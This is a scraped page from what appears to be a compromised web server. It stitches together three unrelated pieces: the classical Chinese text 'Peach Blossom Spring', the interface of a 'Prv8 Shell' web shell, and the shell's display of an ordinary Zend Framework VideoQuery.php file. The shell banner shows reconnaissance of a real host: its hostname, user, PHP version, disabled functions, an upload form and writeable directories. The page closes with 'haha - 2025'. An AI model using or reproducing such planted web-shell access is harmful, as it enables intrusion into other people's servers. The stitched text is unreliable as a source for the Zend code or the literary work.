晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/akaindir/public_html/crm/include/Zend/Gdata/YouTube/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //home/akaindir/public_html/crm/include/Zend/Gdata/YouTube/VideoQuery.php
<?php

/**
 * Zend Framework
 *
 * LICENSE
 *
 * This source file is subject to the new BSD license that is bundled
 * with this package in the file LICENSE.txt.
 * It is also available through the world-wide-web at this URL:
 * http://framework.zend.com/license/new-bsd
 * If you did not receive a copy of the license and are unable to
 * obtain it through the world-wide-web, please send an email
 * to license@zend.com so we can send you a copy immediately.
 *
 * @category   Zend
 * @package    Zend_Gdata
 * @subpackage YouTube
 * @copyright  Copyright (c) 2005-2012 Zend Technologies USA Inc. (http://www.zend.com)
 * @license    http://framework.zend.com/license/new-bsd     New BSD License
 * @version    $Id: VideoQuery.php 24593 2012-01-05 20:35:02Z matthew $
 */

/**
 * Zend_Gdata_YouTube
 */
require_once('Zend/Gdata/YouTube.php');

/**
 * Zend_Gdata_Query
 */
require_once('Zend/Gdata/Query.php');

/**
 * Assists in constructing queries for YouTube videos
 *
 * @link http://code.google.com/apis/youtube/
 *
 * @category   Zend
 * @package    Zend_Gdata
 * @subpackage YouTube
 * @copyright  Copyright (c) 2005-2012 Zend Technologies USA Inc. (http://www.zend.com)
 * @license    http://framework.zend.com/license/new-bsd     New BSD License
 */
class Zend_Gdata_YouTube_VideoQuery extends Zend_Gdata_Query
{

    /**
     * Create Gdata_YouTube_VideoQuery object
     */
    public function __construct($url = null)
    {
        parent::__construct($url);
    }

    /**
     * Sets the type of feed this query should be used to search
     *
     * @param string $feedType The type of feed
     * @param string $videoId The ID of the video associated with this query
     * @param string $entry The ID of the entry associated with this query
     */
    public function setFeedType($feedType, $videoId = null, $entry = null)
    {
        switch ($feedType) {
        case 'top rated':
            $this->_url = Zend_Gdata_YouTube::STANDARD_TOP_RATED_URI;
            break;
        case 'most viewed':
            $this->_url = Zend_Gdata_YouTube::STANDARD_MOST_VIEWED_URI;
            break;
        case 'recently featured':
            $this->_url = Zend_Gdata_YouTube::STANDARD_RECENTLY_FEATURED_URI;
            break;
        case 'mobile':
            $this->_url = Zend_Gdata_YouTube::STANDARD_WATCH_ON_MOBILE_URI;
            break;
        case 'related':
            if ($videoId === null) {
                require_once 'Zend/Gdata/App/InvalidArgumentException.php';
                throw new Zend_Gdata_App_InvalidArgumentException(
                    'Video ID must be set for feed of type: ' . $feedType);
            } else {
                $this->_url = Zend_Gdata_YouTube::VIDEO_URI . '/' . $videoId .
                    '/related';
            }
            break;
        case 'responses':
            if ($videoId === null) {
                require_once 'Zend/Gdata/App/InvalidArgumentException.php';
                throw new Zend_Gdata_App_Exception(
                    'Video ID must be set for feed of type: ' . $feedType);
            } else {
                $this->_url = Zend_Gdata_YouTube::VIDEO_URI . '/' . $videoId .
                    'responses';
            }
            break;
        case 'comments':
            if ($videoId === null) {
                require_once 'Zend/Gdata/App/InvalidArgumentException.php';
                throw new Zend_Gdata_App_Exception(
                    'Video ID must be set for feed of type: ' . $feedType);
            } else {
                $this->_url = Zend_Gdata_YouTube::VIDEO_URI . '/' .
                    $videoId . 'comments';
                if ($entry !== null) {
                    $this->_url .= '/' . $entry;
                }
            }
            break;
        default:
            require_once 'Zend/Gdata/App/Exception.php';
            throw new Zend_Gdata_App_Exception('Unknown feed type');
            break;
        }
    }

    /**
     * Sets the location parameter for the query
     *
     * @param string $value
     * @throws Zend_Gdata_App_InvalidArgumentException
     * @return Zend_Gdata_YouTube_VideoQuery Provides a fluent interface
     */
    public function setLocation($value)
    {
        switch($value) {
            case null:
                unset($this->_params['location']);
            default:
                $parameters = explode(',', $value);
                if (count($parameters) != 2) {
                    require_once 'Zend/Gdata/App/InvalidArgumentException.php';
                    throw new Zend_Gdata_App_InvalidArgumentException(
                        'You must provide 2 coordinates to the location ' .
                        'URL parameter');
                }

                foreach($parameters as $param) {
                    $temp = trim($param);
                    // strip off the optional exclamation mark for numeric check
                    if (substr($temp, -1) == '!') {
                        $temp = substr($temp, 0, -1);
                    }
                    if (!is_numeric($temp)) {
                        require_once 'Zend/Gdata/App/InvalidArgumentException.php';
                        throw new Zend_Gdata_App_InvalidArgumentException(
                            'Value provided to location parameter must' .
                            ' be in the form of two coordinates');
                    }
                }
                $this->_params['location'] = $value;
        }
    }

    /**
     * Get the value of the location parameter
     *
     * @return string|null Return the location if it exists, null otherwise.
     */
    public function getLocation()
    {
        if (array_key_exists('location', $this->_params)) {
            return $this->_params['location'];
        } else {
            return null;
        }
    }


    /**
     * Sets the location-radius parameter for the query
     *
     * @param string $value
     * @return Zend_Gdata_YouTube_VideoQuery Provides a fluent interface
     */
    public function setLocationRadius($value)
    {
        switch($value) {
            case null:
                unset($this->_params['location-radius']);
            default:
                $this->_params['location-radius'] = $value;
        }
    }

    /**
     * Get the value of the location-radius parameter
     *
     * @return string|null Return the location-radius if it exists,
     * null otherwise.
     */
    public function getLocationRadius()
    {
        if (array_key_exists('location-radius', $this->_params)) {
            return $this->_params['location-radius'];
        } else {
            return null;
        }
    }

    /**
     * Sets the time period over which this query should apply
     *
     * @param string $value
     * @throws Zend_Gdata_App_InvalidArgumentException
     * @return Zend_Gdata_YouTube_VideoQuery Provides a fluent interface
     */
    public function setTime($value = null)
    {
        switch ($value) {
            case 'today':
                $this->_params['time'] = 'today';
                break;
            case 'this_week':
                $this->_params['time'] = 'this_week';
                break;
            case 'this_month':
                $this->_params['time'] = 'this_month';
                break;
            case 'all_time':
                $this->_params['time'] = 'all_time';
                break;
            case null:
                unset($this->_params['time']);
            default:
                require_once 'Zend/Gdata/App/InvalidArgumentException.php';
                throw new Zend_Gdata_App_InvalidArgumentException(
                    'Unknown time value');
                break;
        }
        return $this;
    }

    /**
     * Sets the value of the uploader parameter
     *
     * @param string $value The value of the uploader parameter. Currently this
     *        can only be set to the value of 'partner'.
     * @throws Zend_Gdata_App_InvalidArgumentException
     * @return Zend_Gdata_YouTube_VideoQuery Provides a fluent interface
     */
    public function setUploader($value = null)
    {
        switch ($value) {
            case 'partner':
                $this->_params['uploader'] = 'partner';
                break;
            case null:
                unset($this->_params['uploader']);
                break;
            default:
                require_once 'Zend/Gdata/App/InvalidArgumentException.php';
                throw new Zend_Gdata_App_InvalidArgumentException(
                    'Unknown value for uploader');
        }
        return $this;
    }

    /**
     * Sets the formatted video query (vq) URL param value
     *
     * @param string $value
     * @return Zend_Gdata_YouTube_VideoQuery Provides a fluent interface
     */
    public function setVideoQuery($value = null)
    {
        if ($value != null) {
            $this->_params['vq'] = $value;
        } else {
            unset($this->_params['vq']);
        }
        return $this;
    }

    /**
     * Sets the param to return videos of a specific format
     *
     * @param string $value
     * @return Zend_Gdata_YouTube_VideoQuery Provides a fluent interface
     */
    public function setFormat($value = null)
    {
        if ($value != null) {
            $this->_params['format'] = $value;
        } else {
            unset($this->_params['format']);
        }
        return $this;
    }

    /**
     * Sets whether or not to include racy videos in the search results
     *
     * @param string $value
     * @return Zend_Gdata_YouTube_VideoQuery Provides a fluent interface
     */
    public function setRacy($value = null)
    {
        switch ($value) {
            case 'include':
                $this->_params['racy'] = $value;
                break;
            case 'exclude':
                $this->_params['racy'] = $value;
                break;
            case null:
                unset($this->_params['racy']);
                break;
        }
        return $this;
    }

    /**
     * Whether or not to include racy videos in the search results
     *
     * @return string|null The value of racy if it exists, null otherwise.
     */
    public function getRacy()
    {
        if (array_key_exists('racy', $this->_params)) {
            return $this->_params['racy'];
        } else {
            return null;
        }
    }

    /**
     * Set the safeSearch parameter
     *
     * @param string $value The value of the parameter, currently only 'none',
     *        'moderate' or 'strict' are allowed values.
     * @throws Zend_Gdata_App_InvalidArgumentException
     * @return Zend_Gdata_YouTube_VideoQuery Provides a fluent interface
     */
    public function setSafeSearch($value)
    {
        switch ($value) {
            case 'none':
                $this->_params['safeSearch'] = 'none';
                break;
            case 'moderate':
                $this->_params['safeSearch'] = 'moderate';
                break;
            case 'strict':
                $this->_params['safeSearch'] = 'strict';
                break;
            case null:
                unset($this->_params['safeSearch']);
            default:
                require_once 'Zend/Gdata/App/InvalidArgumentException.php';
                throw new Zend_Gdata_App_InvalidArgumentException(
                    'The safeSearch parameter only supports the values '.
                    '\'none\', \'moderate\' or \'strict\'.');
        }
    }

    /**
     * Return the value of the safeSearch parameter
     *
     * @return string|null The value of the safeSearch parameter if it has been
     *         set, null otherwise.
     */
    public function getSafeSearch()
    {
        if (array_key_exists('safeSearch', $this->_params)) {
            return $this->_params['safeSearch'];
        }
        return $this;
    }

    /**
     * Set the value of the orderby parameter
     *
     * @param string $value
     * @return Zend_Gdata_YouTube_Query Provides a fluent interface
     */
    public function setOrderBy($value)
    {
        if ($value != null) {
            $this->_params['orderby'] = $value;
        } else {
            unset($this->_params['orderby']);
        }
        return $this;
    }

    /**
     * Return the value of the format parameter
     *
     * @return string|null The value of format if it exists, null otherwise.
     */
    public function getFormat()
    {
        if (array_key_exists('format', $this->_params)) {
            return $this->_params['format'];
        } else {
            return null;
        }
    }

    /**
     * Return the value of the video query that has been set
     *
     * @return string|null The value of the video query if it exists,
     *         null otherwise.
     */
    public function getVideoQuery()
    {
        if (array_key_exists('vq', $this->_params)) {
            return $this->_params['vq'];
        } else {
            return null;
        }
    }

    /**
     * Return the value of the time parameter
     *
     * @return string|null The time parameter if it exists, null otherwise.
     */
    public function getTime()
    {
        if (array_key_exists('time', $this->_params)) {
            return $this->_params['time'];
        } else {
            return null;
        }
    }

    /**
     * Return the value of the orderby parameter if it exists
     *
     * @return string|null The value of orderby if it exists, null otherwise.
     */
    public function getOrderBy()
    {
        if (array_key_exists('orderby', $this->_params)) {
            return $this->_params['orderby'];
        } else {
            return null;
        }
    }

    /**
     * Generate the query string from the URL parameters, optionally modifying
     * them based on protocol version.
     *
     * @param integer $majorProtocolVersion The major protocol version
     * @param integer $minorProtocolVersion The minor protocol version
     * @throws Zend_Gdata_App_VersionException
     * @return string querystring
     */
    public function getQueryString($majorProtocolVersion = null,
        $minorProtocolVersion = null)
    {
        $queryArray = array();

        foreach ($this->_params as $name => $value) {
            if (substr($name, 0, 1) == '_') {
                continue;
            }

            switch($name) {
                case 'location-radius':
                    if ($majorProtocolVersion == 1) {
                        require_once 'Zend/Gdata/App/VersionException.php';
                        throw new Zend_Gdata_App_VersionException("The $name " .
                            "parameter is only supported in version 2.");
                    }
                    break;

                case 'racy':
                    if ($majorProtocolVersion == 2) {
                        require_once 'Zend/Gdata/App/VersionException.php';
                        throw new Zend_Gdata_App_VersionException("The $name " .
                            "parameter is not supported in version 2. " .
                            "Please use 'safeSearch'.");
                    }
                    break;

                case 'safeSearch':
                    if ($majorProtocolVersion == 1) {
                        require_once 'Zend/Gdata/App/VersionException.php';
                        throw new Zend_Gdata_App_VersionException("The $name " .
                            "parameter is only supported in version 2. " .
                            "Please use 'racy'.");
                    }
                    break;

                case 'uploader':
                    if ($majorProtocolVersion == 1) {
                        require_once 'Zend/Gdata/App/VersionException.php';
                        throw new Zend_Gdata_App_VersionException("The $name " .
                            "parameter is only supported in version 2.");
                    }
                    break;

                case 'vq':
                    if ($majorProtocolVersion == 2) {
                        $name = 'q';
                    }
                    break;
            }

            $queryArray[] = urlencode($name) . '=' . urlencode($value);

        }
        if (count($queryArray) > 0) {
            return '?' . implode('&', $queryArray);
        } else {
            return '';
        }
    }

    /**
     * Returns the generated full query URL, optionally modifying it based on
     * the protocol version.
     *
     * @param integer $majorProtocolVersion The major protocol version
     * @param integer $minorProtocolVersion The minor protocol version
     * @return string The URL
     */
    public function getQueryUrl($majorProtocolVersion = null,
        $minorProtocolVersion = null)
    {
        if (isset($this->_url)) {
            $url = $this->_url;
        } else {
            $url = Zend_Gdata_YouTube::VIDEO_URI;
        }
        if ($this->getCategory() !== null) {
            $url .= '/-/' . $this->getCategory();
        }
        $url = $url . $this->getQueryString($majorProtocolVersion,
            $minorProtocolVersion);
        return $url;
    }

}

haha - 2025